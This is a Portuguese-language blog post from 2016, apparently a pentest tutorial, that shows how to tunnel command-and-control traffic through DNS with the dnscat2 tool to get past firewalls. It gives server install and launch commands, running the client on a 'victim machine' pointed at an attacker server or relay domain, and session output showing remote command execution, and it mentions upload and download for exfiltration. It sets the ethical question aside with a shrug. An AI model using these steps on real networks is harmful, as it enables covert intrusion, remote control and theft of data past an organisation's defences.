12 de fevereiro de 2016

Bypass de firewall com tunelamento por DNS

Referência: https://github.com/iagox86/dnscat2

Uma das grandes preocupações de quem administra firewalls é justamente evitar que haja qualquer buraco que possa permitir o comprometimento de sua rede e exfiltração de informações sensíveis através de conexões remotas, principalmente através de aplicações que se utilizam da técnica Command&Control (C2).

Entretanto, sabemos que para o bom funcionamento de qualquer ambiente, alguns serviços e protocolos precisam ser liberados, como é o caso do DNS. O grande problema aqui, é que tanto o DNS, quanto outros protocolos, podem ser utilizados para encapsular informações que as regras de firewall pode deixar passar, por conta de analisarem apenas uma camada específica e apenas parte do payload dos pacotes.

É importante apenas frisar que o DNS é considerado tanto um protocolo quanto um serviço (referências podem ser encontradas aqui). Esse protocolo é nativo da camada de aplicação do modelo OSI, e suas propriedades permitem que protocolos de camadas mais baixas sejam encapsulados em pacotes DNS, o que ajudaria o processo de bypass nas regras de firewalls.

Obviamente, como tudo existe para facilitar nossas vidas, é possível utilizar aplicações já prontas para facilitar todo esse processo, o que facilita a vida tanto de pentesters quanto de atacantes reais.

Bem, implicações éticas à parte, já que somos adultos e sabemos de todas as consequências do uso de tais ferramentas para fins não éticos, vamos ao que é possível fazer com a ferramenta eleita de hoje: o dnscat2.

A primeira coisa que precisamos ter em mente é que essa ferramenta funciona no esquema de cliente/servidor. Portanto, é importante que tenha uma máquina virtual na cloud para servir de local para hospedar o server da ferramenta, como um droplet no Digital Ocean, por exemplo.

Após o deployment de sua VM na cloud, basta baixar e instalar o dnscat2 server, com os seguintes comandos:

# apt-get update
# apt-get -y install ruby-dev git make g++
# gem install bundler
# git clone https://github.com/iagox86/dnscat2.git
# cd dnscat2/server
# bundle install

E após instalar o server, para ativá-lo basta usar o comando abaixo, a partir de dentro do diretório dnscat2/server:
# ruby ./dnscat2.rb
Com isso feito, basta agora executar o cliente na máquina vítima, ou de sua máquina dentro da rede de onde quer fazer a conexão, usando simplesmente o parâmetro "--host [IP-do-server]". Caso a máquina de onde esteja rodando o cliente seja Windows, basta baixar o binário pré-compilado do site do desenvolvedor: https://downloads.skullsecurity.org/dnscat2/ e executá-lo com o mesmo parâmetro (--host [IP-do-server]).

Assim que o cliente for executado, poderá perceber que no server você receberá o laerta de uma nova conexão existente com um cliente, como abaixo:
# ruby ./dnscat2.rb
Starting Dnscat2 DNS server on 0.0.0.0:53 [domains = n/a]...
No domains were selected, which means this server will only respond to direct queries (using --host and --port on the client)
dnscat2> New session established: 1258 
dnscat2>
O que é mais interessante, é que a partir do server você poderá interagir com o cliente a qualquer momento, executando comandos e carregando aplicações definindo com qual sessão deseja interagir, como por exemplo:
dnscat2> session -i 1258
Welcome to a command session!
Use 'help' for a list of commands or ^z for the main menu
dnscat [command: 1258]> exec notepad.exe
Sent request to execute
dnscat [command: 1258]>

dnscat2 também suporta outros comandos, como download e upload, para exfiltragem de informações por exemplo.

Outra forma interessante, para tornar nossa estrutura mais robusta, é configurar um servidor DNS em alguma outra droplet (VM na cloud) usando um name específico, como hackproofing.com por exemplo, e configurá-lo para atuar como um servidor de DNS rodando em um IP válido, que servirá de intermediário entre o server e o client. 

Sendo assim, precisaremos configurar o server para rodar conectado à esse DNS com o comando:
# ruby ./dnscat2.rb hackproofing.com
E o client a mesma coisa, mas agora sem o parâmetro --host, simplesmente colocando o nome do DNS "hackproofing.com" após o comando de execução do cliente dnscat2.

Dessa maneira, se executar um wireshark para analisar as requisições saindo da rede local, verá várias requisições feitas ao DNS "hackproofing.com". E obviamente, dependendo da quantidade de tráfego gerado por essas conexões, para um administrador de redes atento, isso chamará sua atenção.

Esse é o básico de utilização da ferramenta! Portanto, divirtam-se e descubram novas funcionalidades e formas de utilizá-la.

Nenhum comentário:

Postar um comentário